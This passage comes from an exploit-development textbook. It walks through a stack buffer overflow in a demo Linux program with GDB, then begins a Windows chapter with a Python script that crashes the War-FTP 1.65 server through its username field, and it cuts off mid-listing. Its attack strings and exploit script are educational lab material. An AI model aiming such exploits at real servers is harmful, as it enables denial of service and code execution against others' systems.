We use the GDB command run followed by arguments to start the program in the debugger. Here we run the program with four As as an argument. We hit our first breakpoint just before function1 is called, at which
time we can examine the program’s memory using the GDB command x.
GDB needs to know which part of memory we want to see and how
it should be displayed. Memory contents can be displayed in octal, hexadecimal, decimal, or binary format. We’ll see a lot of hexadecimal in our
journey through exploit development, so let’s use the x flag to tell GDB to
display our memory in hexadecimal format.
We can also output memory in increments of one byte, a two-byte halfword, a four-byte word, and an eight-byte giant. Let’s look at 16 hexadecimal
format words starting at the ESP register with the command x/16xw $esp, as
shown in Listing 16-4.
(gdb) x/16xw $esp
0xbffff540:
0xb7ff0f50
0xbffff550:
0x08048470
0xbffff560:
0x00000002
0xbffff570:
0x00000001
0xbffff560
0x08048340
0xbffff5e4
0x00000001
0xbffff5b8
0xbffff5b8
0xbffff5f0
0x00000000
0xb7e8c685
0xb7e8c685
0xb7fe2b38
0x08048249
Listing 16-4: Examining the contents of memory
The x/16xw $esp command prints out 16 four-byte words in hexadecimal
format, starting with ESP. Recall from earlier in the chapter that ESP marks the
lowest memory address in our stack. Because our first breakpoint paused execution right before the call to function1, ESP is at the top of main’s stack frame.
The output of memory in GDB in Listing 16-4 might be a bit confusing at
first, so let’s break it down. On the far left, we have our memory addresses in
16-byte increments, followed by the contents of memory at those addresses.
In this case, the first four bytes will be the contents of ESP followed by additional memory, starting at ESP and continuing down the stack.
We can find EBP, which points at the bottom (or highest address) of main’s
stack frame, by examining EBP as shown here with the command x/1xw $ebp.
(gdb) x/1xw $ebp
0xbffff548:
0xbffff5b8
(gdb)
This command allows us to examine one hexadecimal word from EBP
to find the memory location and contents of the EBP register. Based on the
output, main’s stack frame looks like this:
0xbffff540:
0xb7ff0f50
0xbffff560
0xbffff5b8
As you can see, there’s not much to it, but then again, all main does is
call another function and then print a line of text to the screen; there’s no
heavy-duty processing required.
A Stack-Based Buffer Overflow in Linux 369
Based on what we know about the stack, we can expect that when we let
the program continue and function1 is called, the return address for main
and a stack frame for function1 will be pushed onto the stack. Remember
that the stack grows to lower memory addresses, so the top of the stack will
be at a lower memory address when we hit our next breakpoint inside of
function1. Recall that our next breakpoint is inside function1 right before the
strcpy command is executed. Use the command continue to let the program
run until the next breakpoint, as shown in Listing 16-5.
(gdb) continue
Continuing.
Breakpoint 2, function (str=0xbffff74c "AAAA") at overflowtest.c:10
10
strcpy(buffer, str);
(gdb) x/16xw $espu
0xbffff520:
0xb7f93849
0x08049ff4
0xbffff538
0x080482e8
0xbffff530:
0xb7fcfff4
0x08049ff4
0xbffff548
0x08048443
0xbffff540:
0xbffff74f
0xbffff560
0xbffff5b8
0xb7e8c685
0xbffff550:
0x08048470
0x08048340
0xbffff5b8
0xb7e8c685
(gdb) x/1xw $ebpv
0xbffff538:
0xbffff548
Listing 16-5: Breakpoint before the strcpy command
After using the continue command to run the program until the next
breakpoint, examine ESP at u and EBP at v to see the contents of function1’s
stack frame. function1’s stack frame is shown here.
0xbffff520:
0xbffff530:
0xb7f93849
0xb7fcfff4
0x08049ff4
0x08049ff4
0xbffff538
0xbffff548
0x080482e8
The stack frame for function1 is a bit larger than main’s. There’s some
memory allocated for the local variable buffer, along with a little extra space
for strcpy to work with, but there’s certainly not enough room for 30 or 40 As.
Recall from the last breakpoint that main’s stack frame began at memory
address 0xbffff540. Based on our knowledge of the stack, 0x08048443, the
four-byte memory address between function1’s stack frame and main’s stack
frame, should be our return address for main. Let’s disassemble main with the
disass command, as shown in Listing 16-6, to see where 0x08048443 comes in.
(gdb) disass main
Dump of assembler code for function main:
0x08048422 <main+0>:
lea
0x4(%esp),%ecx
0x08048426 <main+4>:
and
$0xfffffff0,%esp
0x08048429 <main+7>:
pushl -0x4(%ecx)
0x0804842c <main+10>:
push
%ebp
0x0804842d <main+11>:
mov
%esp,%ebp
0x0804842f <main+13>:
push
%ecx
0x08048430 <main+14>:
sub
$0x4,%esp
0x08048433 <main+17>:
mov
0x4(%ecx),%eax
0x08048436 <main+20>:
add
$0x4,%eax
0x08048439 <main+23>:
mov
(%eax),%eax
370 Chapter 16
0x0804843b <main+25>:
0x0804843e <main+28>:
0x08048443 <main+33>:
0x0804844a <main+40>:
0x0804844f <main+45>:
0x08048452 <main+48>:
0x08048453 <main+49>:
0x08048454 <main+50>:
0x08048457 <main+53>:
End of assembler dump.
mov
call
movl
call
add
pop
pop
lea
ret
%eax,(%esp)
0x8048408 <function1> u
$0x8048533,(%esp) v
0x804832c <[email protected]>
$0x4,%esp
%ecx
%ebp
-0x4(%ecx),%esp
Listing 16-6: Disassembled main function
If you aren’t fluent in assembly code, don’t worry. The instruction we’re
looking for jumps out at us in plain English: At 0x0804843e u, main calls the
memory address of function1. It stands to reason that the next instruction to
be executed when function1 exits (and thus our return address) will be the
next instruction in the list. And sure enough, the next line at v shows the
return address we found on the stack. Everything looks just like the theory
says it should.
Let’s allow the program to continue and see what happens in memory
when our four As are copied into buffer. After the program pauses at the
third breakpoint, examine memory in the usual way, as shown in Listing 16-7.
(gdb) continue
Continuing.
Breakpoint 3, function (str=0xbffff74c "AAAA") at overflowtest.c:11
11
}
(gdb) x/16xw $esp
0xbffff520:
0xbffff533
0xbffff74c
0xbffff538
0x080482e8
0xbffff530:
0x41fcfff4
0x00414141u 0xbffff500
0x08048443
0xbffff540:
0xbffff74c
0xbffff560
0xbffff5b8
0xb7e8c685
0xbffff550:
0x08048470
0x08048340
0xbffff5b8
0xb7e8c685
(gdb) x/1xw $ebp
0xbffff538:
0xbffff500
Listing 16-7: Examining memory at breakpoint 3
As shown, we’re still inside function1, so our stack frame location is the
same. Inside function1’s stack frame, we can see our four As u represented in
hexadecimal as 41 followed by 00 for the ending null byte. They fit nicely
in our five-character buffer, so our return address is still intact, and everything works as expected when we let the program continue, as shown in
Listing 16-8.
(gdb) continue
Continuing.
Executed normally
Program exited with code 022.
(gdb)
Listing 16-8: The program finishes normally.
A Stack-Based Buffer Overflow in Linux 371
Sure enough, “Executed normally” prints to the screen.
Now, let’s run the program again, this time overflowing our buffer with
too many characters, and watch what happens in memory.
Crashing the Program in GDB
We could enter a long string of As, or we could let the Perl scripting language
generate that string for us, as shown in Listing 16-9. (Perl will come in handy
later when we try to hijack execution with an actual memory address rather
than crash the program.)
(gdb) run $(perl -e 'print "A" x 30') u
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 30')
Breakpoint 1, main (argc=2, argv=0xbffff5c4) at overflowtest.c:14
14
function(argv[1]);
(gdb) x/16xw $esp
0xbffff520:
0xb7ff0f50
0xbffff540
0xbffff598
0xb7e8c685
0xbffff530:
0x08048470
0x08048340
0xbffff598
0xb7e8c685
0xbffff540:
0x00000002
0xbffff5c4
0xbffff5d0
0xb7fe2b38
0xbffff550:
0x00000001
0x00000001
0x00000000
0x08048249
(gdb) x/1xw $ebp
0xbffff528:
0xbffff598
(gdb) continue
Listing 16-9: Running the program with 30 As as an argument
Here we tell Perl to execute the command print to make a string of 30 As
and feed the results in as the argument to overflowtest u. When strcpy tries
to place such a long string into our five-character buffer, we can expect to see
parts of our stack get overwritten with As. When we hit our first breakpoint,
we’re still in main, and everything looks normal so far. The trouble shouldn’t
start until our third breakpoint, after strcpy is executed with too many As.
Note
main’s stack frame is still 12 bytes long, though it has moved 32 bytes up the stack.
This is due to changes in the length of the command line argument, and so on. The
size of the stack frame will be consistent throughout.
Let’s note one thing at the second breakpoint in Listing 16-10 before we
move on to the really interesting part.
Breakpoint 2, function (str=0xbffff735 'A'
at overflowtest.c:10
10
strcpy(buffer, str);
(gdb) x/16xw $esp
0xbffff500:
0xb7f93849
0x08049ff4
0xbffff510:
0xb7fcfff4
0x08049ff4
0xbffff520:
0xbffff735
0xbffff540
0xbffff530:
0x08048470
0x08048340
(gdb) x/1xw $ebp
0xbffff518:
0xbffff528
372 Chapter 16
<repeats 30 times>)
0xbffff518
0xbffff528
0xbffff598
0xbffff598
0x080482e8
0x08048443u
0xb7e8c685
0xb7e8c685
(gdb) continue
Continuing.
Listing 16-10: Examining memory at breakpoint 2
You can see here that function1’s stack frame has also moved up 32 bytes.
Also note that our return address still holds the memory address 0x08048443 u.
Though our stack frame has moved around a bit, the instructions in memory to be executed are in the same place.
Use the continue command again to move on to the third breakpoint.
This is where things get interesting, as shown in Listing 16-11.
Breakpoint 3, function (str=0x41414141 <Address 0x41414141 out of bounds>)
at overflowtest.c:11
11
}
(gdb) x/16xw $esp
0xbffff500:
0xbffff513
0xbffff733
0xbffff518
0x080482e8
0xbffff510:
0x41fcfff4
0x41414141
0x41414141
0x41414141
0xbffff520:
0x41414141
0x41414141
0x41414141
0x41414141
0xbffff530:
0x08040041
0x08048340
0xbffff598
0xb7e8c685
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Listing 16-11: Return address overwritten by As
Let’s examine the memory again at our third breakpoint, directly after
strcpy but before function1 returns to main. This time, not only is the return
address overwritten by As at u but part of main’s stack frame is overwritten
as well. At this point, there is no hope for the program to recover.
When function1 returns, the program attempts to execute the instructions at the return address for main, but the return address has been overwritten with our As, causing the expected segmentation fault when trying
to execute the instruction at the memory address 41414141. (In the coming
sections, we’ll discuss replacing the return address with something that
redirects the program to code of our own instead of crashing it.)
Controlling EIP
Making the program crash is interesting in and of itself, but as exploit
developers, our goal is to hijack execution if possible and get the target
CPU to execute code on our behalf. Perhaps by manipulating the crash, we
can execute other instructions that the developer never intended.
Currently, our program crashes when it tries to execute the instructions
at the memory address 41414141, which is out of bounds. We need to change
our argument string to include a valid memory address that our program
can access. If we can replace the return address with another valid memory
location, we should be able to hijack execution when function1 returns.
A Stack-Based Buffer Overflow in Linux 373
Perhaps the developer even left some debugging code in the program that we
can use to illustrate this purpose. (But I’m getting a bit ahead of myself here.)
To redirect execution, we first need to determine where the return
address is overwritten by our long string of As. Let’s look back at what our
stack looked like when we ran our program normally with only four characters for our argument, as shown here.
0xbffff520:
0xbffff530:
0xbffff533
0x41fcfff4
0xbffff74c
0x00414141u
0xbffff538
0xbffff500v
0x080482e8
0x08048443w
We can see where the four As u were copied into the local variable,
buffer. Now, recall that the four bytes directly after EBP v contain the return
address 0x08048443 w. We can see that after the four As, there are five more
bytes in function1’s stack frame, which come before the return address.
Looking at memory, it stands to reason that if we give our program an
argument that is 5 + 4 + 4 bytes long, the last four bytes will overwrite the
return address. We can test this by sending our program an argument of
nine As followed by four Bs. If our program crashes when trying to execute
the instruction at memory address 42424242 (the hexadecimal representation of B), we’ll know we have calculated our offset correctly.
We can use Perl again to help us create our argument string, as shown in
Listing 16-12.
(gdb) delete 1
(gdb) delete 2
(gdb) run $(perl -e 'print "A" x 9 . "B" x 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 9 . "B" x 4')
Listing 16-12: Starting the program with a new attack string
Before we run the program with this new argument, delete the first two
breakpoints because the state of memory won’t change in an interesting way
until our third breakpoint, after strcpy is executed.
Start the program using Perl, with nine As followed by four Bs as the
attack string. Because the program crashed on its last run, you will be
asked if you would like to start from the beginning. Enter y for yes. When
we examine memory at our only remaining breakpoint, everything looks
as predicted, as shown in Listing 16-13.
Breakpoint 3, function (str=0xbffff700 "\017") at overflowtest.c:11
11
}
(gdb) x/20xw $esp
0xbffff510:
0xbffff523
0xbffff744
0xbffff528
0x080482e8
0xbffff520:
0x41fcfff4
0x41414141
0x41414141
0x42424242u
0xbffff530:
0xbffff700
0xbffff550
0xbffff5a8
0xb7e8c685
0xbffff540:
0x08048470
0x08048340
0xbffff5a8
0xb7e8c685
0xbffff550:
0x00000002
0xbffff5d4
0xbffff5e0
0xb7fe2b38
(gdb) continue
374 Chapter 16
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Listing 16-13: Overwriting the return address with Bs
Where we previously saw our return address (0x08048443), we now have
0x42424242. If we let the program continue, we can see that it crashes while
trying to execute the memory address of four Bs u. This is once again out
of bounds, but at least now we know where to place the address of the code
we want to execute.
We have now pinpointed which four bytes in our attack string overwrite
the return address. Remember that the return address is loaded into EIP
when function1 returns. Now we just need to find somewhere more interesting to send execution than 41414141 or 42424242.
Hijacking Execution
We’ve determined where to overwrite the return address in our argument
string, but we still need something to put there. (This example may seem
a bit contrived compared to the rest of the exploit development examples
we’ll cover, but it illustrates the underlying concepts well.) We’ve managed to
manipulate an issue with the strcpy function used by the program to break
out of the buffer variable and overwrite additional memory addresses,
including the return address.
Looking back at our source code for overflowtest.c, recall the program
contains another function in addition to main and function1. The first function
in the program, called overflowed, prints “Execution Hijacked” out to the console and then returns. This extra function is never called when the program
runs normally, but as its output implies, we can use it to hijack execution.
Returning to our debugger, if we can find the start of overflowed in memory, we should be able to replace our four Bs with that memory address, overwrite the return address, and force the program to execute instructions the
developers didn’t intend it to. We have the source code and know the function
name we are looking for, so this task is trivial. Let’s just disassemble overflowed
and find out where it is loaded in memory, as shown in Listing 16-14.
(gdb) disass overflowed
Dump of assembler code for function overflowed:
u 0x080483f4 <overflowed+0>:
push
%ebp
0x080483f5 <overflowed+1>:
mov
%esp,%ebp
0x080483f7 <overflowed+3>:
sub
$0x8,%esp
0x080483fa <overflowed+6>:
movl
$0x8048520,(%esp)
0x08048401 <overflowed+13>:
call
0x804832c <[email protected]>
0x08048406 <overflowed+18>:
leave
0x08048407 <overflowed+19>:
ret
End of assembler dump.
(gdb)
Listing 16-14: Disassembling overflowed
A Stack-Based Buffer Overflow in Linux 375
As you can see, the memory address 0x80483f4 u holds the first instruction of overflowed. If we redirect our program here, it will execute all the
instructions in that function.
Note
This won’t give us a reverse shell or join the target to a botnet; it will only print out
“Execution Hijacked” to the screen. We will look at more exciting execution hijacks in
the exploit development examples in the next three chapters.
We can use Perl to help us create our argument string, which will
include hexadecimal bytes for the memory address we want to use to overwrite the return address, as shown here.
(gdb) run $(perl -e 'print "A" x 9 . "\x08\x04\x83\xf4"')
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 9 . "\x08\x04\x83\xf4"')
This time, we replace our four Bs with \x08\x04\x83\xf4, which should
redirect execution to the beginning of overflowed. But things don’t work out
as planned, as shown in Listing 16-15.
Breakpoint 3, function (str=0xbffff700 "\017") at overflowtest.c:11
11
}
(gdb) x/16xw $esp
0xbffff510:
0xbffff523
0xbffff744
0xbffff528
0x080482e8
0xbffff520:
0x41fcfff4
0x41414141
0x41414141
0xf4830408u
0xbffff530:
0xbffff700
0xbffff550
0xbffff5a8
0xb7e8c685
0xbffff540:
0x08048470
0x08048340
0xbffff5a8
0xb7e8c685
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xf4830408 in ?? ()
Listing 16-15: The return address bytes are flipped.
As you can see, we hit our breakpoint as expected, but when we examine memory, we seem to have a little problem. The memory address of the
first instruction in overflowed is 0x80483f4, but the return address on our stack
is 0xf4830408 u. The digits aren’t entirely reversed, but the bytes are in the
wrong order.
Recall that two hexadecimal digits make up one byte. When we let the
program continue, we receive another access violation for trying to execute
data at 0xf4830408. We know that the program crashes because the new
return address is wrong, so let’s look at how those bytes wound up out of
order in the first place so we can fix the problem.
Endianness
When I was first learning basic exploit development, I spent many hours
scratching my head and wondering what could possibly be keeping my exploit
from working. I had run into this same problem, and unfortunately, I hadn’t
been paying attention in operating systems class when we covered endianness.
376 Chapter 16
In the 1726 novel Gulliver’s Travels, Jonathan Swift’s titular character
is shipwrecked on the island of Lilliput. Lilliput is currently on bad terms
with neighboring Blefuscu because of a dispute about how to properly crack
an egg. In Lilliput, eggs are cracked at the little end, and in Blefuscu, eggs
are cracked at the big end. We have a similar dispute in computer science
regarding byte order. Big endians believe that the most significant byte
should be stored first, whereas little endians store the least significant byte
first. Our Ubuntu virtual machine has an Intel architecture, which is little
endian. To account for little-endian architecture, we need to flip the bytes
of our memory address around, as shown here.
(gdb) run $(perl -e 'print "A" x 9 . "\xf4\x83\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 9 . "\xf4\x83\x04\x08"')
Using the return address \xf4\x83\x04\x08 with the byte order flipped
for our Intel architecture fixes our problem, as shown in Listing 16-16.
Breakpoint 3, function (str=0xbffff700 "\017") at overflowtest.c:11
11
}
(gdb) x/16xw $esp
0xbffff510:
0xbffff523
0xbffff744
0xbffff528
0x080482e8
0xbffff520:
0x41fcfff4
0x41414141
0x41414141
0x080483f4
0xbffff530:
0xbffff700
0xbffff550
0xbffff5a8
0xb7e8c685
0xbffff540:
0x08048470
0x08048340
0xbffff5a8
0xb7e8c685
(gdb) continue
Continuing.
Execution Hijacked u
Program received signal SIGSEGV, Segmentation fault.
0xbffff700 in ?? ()
(gdb)
Listing 16-16: Successfully hijacking execution
This time when we hit the breakpoint, our return address looks correct.
Sure enough, when we let the program continue, “Execution Hijacked” is
printed to the console at u, meaning we have successfully hijacked execution and exploited a buffer overflow vulnerability.
To see the results outside the debugger, we run overflowtest from the
command line with an argument that includes the new return address, as
shown here.
[email protected]:~$ ./overflowtest $(perl -e 'print "A" x 9 . "\xf4\x83\x04\x08"')
Execution Hijacked
Segmentation fault
A Stack-Based Buffer Overflow in Linux 377
Note that after overflowed returns, the program crashes with a segmentation fault when executing the memory address bffff700. This address is
the same as the next four bytes on the stack after our return address. And
thinking back to how memory works, this makes sense, but our “malicious”
code was fully executed prior to the crash. After the stack frame for overflowed
is popped off the stack, bffff700 appears to be in the place of the return
address. We sent execution straight to overflowed without normal functioncalling things like saving a return address. When overflowed’s stack frame is
unwound from the stack, the next memory address of the stack is assumed
to be the return address, but this is just part of main’s stack frame, so we crash.
How might you augment your attack string to fix this? You guessed it:
You could add another four bytes to our attack string, sending execution
back to the original return address in main. Because we have corrupted
main’s stack frame, we may still run into trouble down the line, but we can
meet our goal of tricking the program into executing code on our behalf.
Summary
In this chapter we looked at a simple C program with a buffer overflow
vulnerability (namely the use of the insecure strcpy function) that does not
check its array boundaries, which allows us to write to adjacent memory. We
exploited this issue by writing a longer string to the command line than the
program expected. We hijacked the program’s execution by overwriting a
function’s return address with our own value. We sent execution to another
function included in the original program.
Now that you’ve seen a basic example of a stack-based overflow, let’s
move on to something a bit more complex. In the next chapter, our example
will focus on a Windows-based target and a real-world target program.
378 Chapter 16
17
A S t a c k- B a s e d B u f f e r
Ov e r f l o w i n W i n d o w s
In this chapter, we will look at exploiting a stack-based
buffer overflow in an older version of a Windows-based
FTP server. As we did in Chapter 16, we will attempt
to overwrite the return pointer saved onto the stack
when a function is called, as shown earlier in Figure 16-3 on page 364.
When the function main calls function1, the next instruction to be executed is
saved on the stack, and a stack frame for function1 is added to the stack.
The size of function1’s local variables is determined when the application is compiled and fixed. The amount of space “reserved” on the stack for
these local variables is fixed, too. This reservation is called a stack buffer. If we
put more data in the stack buffer than it can hold, we will cause the buffer
to overflow. Then we may be able to overwrite the saved return address,
which is placed after the stack buffer, and take control of program execution. (For a more detailed review of this process, see Chapter 16.)
In Chapter 1, we installed War-FTP version 1.65 on the Windows XP target, but we didn’t start it. We have exploited the FileZilla FTP server in previous chapters, and if you’ve been following along, that FTP server is still
running. Before we can use War-FTP, we need to stop
the FileZilla FTP server using the XAMPP control panel.
This will open TCP port 21 for War-FTP. Open WarFTP on the Windows XP desktop by double clicking
its icon (see Figure 17-1), and click the lightning bolt
in the top-left corner of the War-FTP window to put it
online (see Figure 17-2).
Figure 17-1: WarFTP icon
Searching for a Known Vulnerability in War-FTP
A search on Google for known vulnerabilities in War-FTP 1.65 finds the following information on SecurityFocus.com:
War-FTP Username Stack-Based Buffer-Overflow Vulnerability
War-FTP is prone to a stack-based buffer-overflow vulnerability
because it fails to properly check boundaries on user-supplied
data before copying it to an insufficiently sized buffer.
Exploiting this issue could lead to denial-of-service conditions
and to the execution of arbitrary machine code in the context of
the application.
In Chapter 16, we overflowed a function’s local variable on the stack
with supplied input and redirected execution to a memory location of our
choosing. Based on this information from SecurityFocus.com, it looks like we
can do something similar with War-FTP 1.65. In this chapter, we will manually exploit War-FTP 1.65’s stack-based buffer overflow vulnerability in the
Username field of the FTP login. Now that we are using a real program
rather than demo code, we will learn more about writing real exploits. For
example, this time we won’t be able to simply redirect execution to another
function; we will instead need to introduce instructions to be executed as
part of our attack string.
To get started, make sure War-FTP 1.65 is open and running on your Win­
dows XP virtual machine. (The lightning bolt icon in the top-left corner of the
GUI shown in Figure 17-2 tells the server to listen for incoming connections.)
The issue we are going to exploit is particularly dangerous because
an attacker does not need to log in to the FTP server before launching an
attack. Thus, we do not need to add any legitimate users to the FTP server
for this attack to work.
Before we dive in and start trying to exploit War-FTP, let’s hook it
up to a debugger. Immunity Debugger should be on the desktop of your
Windows XP target because we installed it in Chapter 1. If it is not, follow
the instructions in Chapter 1 for setting up Immunity Debugger and the
Mona plugin. Like GDB, Immunity Debugger will allow us to see the internals of memory as we attempt to exploit War-FTP. Unfortunately, we don’t
have source code to guide us toward a successful exploit, but by watching
our program in memory as we send it attack strings, we should still be able
to develop a working exploit.
380 Chapter 17
Figure 17-2: War-FTP 1.65 GUI
Start Immunity Debugger, open the File menu, and select Attach. We
want to attach Immunity Debugger to the running War-FTP process, which
we see in the process list in Figure 17-3. Highlight War-FTP 1.65, and click
Attach.
Figure 17-3: Process list in the Immunity Debugger interface
A Stack-Based Buffer Overflow in Windows
381
When Immunity Debugger first attaches to a process, it pauses the process’s execution. If at any point your exploit just randomly stops working,
check to make sure the process is running. A paused process isn’t listening
for incoming connections, and, as you can see in the lower-right corner
of the Immunity Debugger window in Figure 17-4, the process is paused.
Click the Play button at the top-left corner of the screen to tell the process
to continue running.
Figure 17-4: War-FTP pauses in Immunity Debugger.
With War-FTP running in Immunity Debugger, we can figure out how
to exploit its buffer overflow vulnerability.
Causing a Crash
In Chapter 19, we will use a technique called fuzzing to look for potential
vulnerabilities in programs, but for now, follow my lead on which attack
strings to use to crash the program. In the Username field of the FTP login,
let’s send a string of 1,100 As instead of a username. Rather than attacking
our program locally, as we did in the previous example, this time we will
382 Chapter 17
create our exploit in Kali Linux and set up the exploit to talk to the FTP
server over the network. Listing 17-1 shows a starter exploit that will cause
the War-FTP program to crash.
Note
Our exploit examples are written in Python, but they can easily be ported into another
language if you’d prefer to use a different one.
[email protected]:~# cat ftpexploit
#!/usr/bin/python
import socket
buffer = "A" * 1100
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) u
connect=s.connect(('192.168.20.10',21)) u
response = s.recv(1024)
print response v
s.send('USER ' + buffer + '\r\n') w
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
Listing 17-1: Python exploit to crash War-FTP
In the exploit shown in Listing 17-1, we first import the socket Python
library. Next, we create a string called buffer, which contains 1,100 As, and
set up a socket at u to connect to our Windows XP machine on port 21,
where the War-FTP server is listening. Next, we accept and print out the
FTP server’s banner to the screen at v. Our exploit then sends over the USER
command with 1,100 As w for the username in hopes of causing the FTP
server to crash.
If the server responds and asks for our password, the exploit is ready
to finish the connection with the password, PASSWORD. However, if our
exploit succeeds, it won’t matter if our credentials are valid, because the
program will crash before it finishes the login process. Finally, we close our
socket, and the exploit finishes. Make sure the Python script is executable
with chmod +x, and run the exploit as shown here.
[email protected]:~# chmod +x ftpexploit
[email protected]:~# ./ftpexploit
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.
As with the previous example, we hope to overwrite the saved return
address with a string of As and cause the program to crash. The War-FTP
server sends over its welcome banner, prompts us for our username, and
then asks for a password. Take a look at War-FTP in Immunity Debugger,
as shown in Figure 17-5, to see if our exploit managed to cause a crash.
A Stack-Based Buffer Overflow in Windows
383
Figure 17-5: War-FTP crashes due to a buffer overflow.
After we run our exploit, we see that War-FTP is paused due to an access
violation when attempting to execute an instruction at 41414141. Based on
what we learned in the Linux buffer overflow example in Chapter 16, this
result should seem familiar. A return address was overwritten by our long
string of As, so when the function returned, 41414141 was loaded into the
EIP register. The program attempted to execute the instructions at that
memory location, which was out of bounds and caused a crash.
Locating EIP
As with the previous example, we need to know which four As in our string
are overwriting the return address. Unfortunately, 1,100 As is a bit more
than the 30 we used in the previous chapter, so just counting in memory is
more difficult in this case. Also, we can’t be sure if the first As we’re seeing
on the stack are the first As sent as part of the exploit.
Traditionally, the next step would be to crash the program again with
550 As followed by 550 Bs. If the program crashed with 41414141 in EIP, then
the return address overwrite occurred in the first 550 bytes; if it crashed
with 42424242 in EIP, the overwrite was in the second half. From there, the
half of the string in question would be split into 275 As followed by 275 Bs.
Slowly but surely, this method would narrow down the exact location.
384 Chapter 17
Generating a Cyclical Pattern to Determine Offset
Luckily, we can use Mona to generate a unique cyclic pattern to find the
right four bytes for the return address overwrite in only one iteration. To
use Mona for this task, enter !mona pattern_create with length 1100 as an
argument at the bottom of the Immunity Debugger window, as shown in
Figure 17-6.
Figure 17-6: Using pattern_create in Mona
The 1,100-character cyclic pattern is written to the file C:\logs\war-ftpd\
pattern.txt, as shown in Listing 17-2.
=============================================================================
Output generated by mona.py v2.0, rev 451 - Immunity Debugger
Corelan Team - https://www.corelan.be
=============================================================================
OS : xp, release 5.1.2600
Process being debugged : war-ftpd (pid 2416)
=============================================================================
2015-11-10 11:03:32
=============================================================================
Pattern of 1100 bytes :
-----------------------
A Stack-Based Buffer Overflow in Windows
385
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5
Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1
Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7
Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3
Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9
An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5
Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1
As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7
Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3
Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9
Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5
Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1
Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7
Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3
Bk4Bk5Bk
Listing 17-2: Output of the pattern_create command
We are going to replace the long string of As with the unique pattern
shown in Listing 17-2. But before running the exploit again, we need to
restart War-FTP from the previous crash. In Immunity Debugger, go to
Debug4Restart, and then press the Play button and click the lightning
bolt icon to tell War-FTP to listen on the network. (Follow these steps each
time you need to restart War-FTP after a crash.) Alternatively, you can
close Immunity Debugger, restart War-FTP manually, and attach to the new
process in the debugger. Replace the value of the buffer in the exploit with
the pattern from Listing 17-2, surrounded by quotation marks to make it a
string in Python, as shown in Listing 17-3.
Note
If War-FTP refuses to restart with the error Unknown format for user database, find
and delete the files FtpDaemon.dat and/or FtpDaemon.ini that were created on the
desktop by War-FTP. This should fix the problem and War-FTP should start normally.
[email protected]:~# cat ftpexploit
#!/usr/bin/python
import socket
u buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8
Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4
Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0
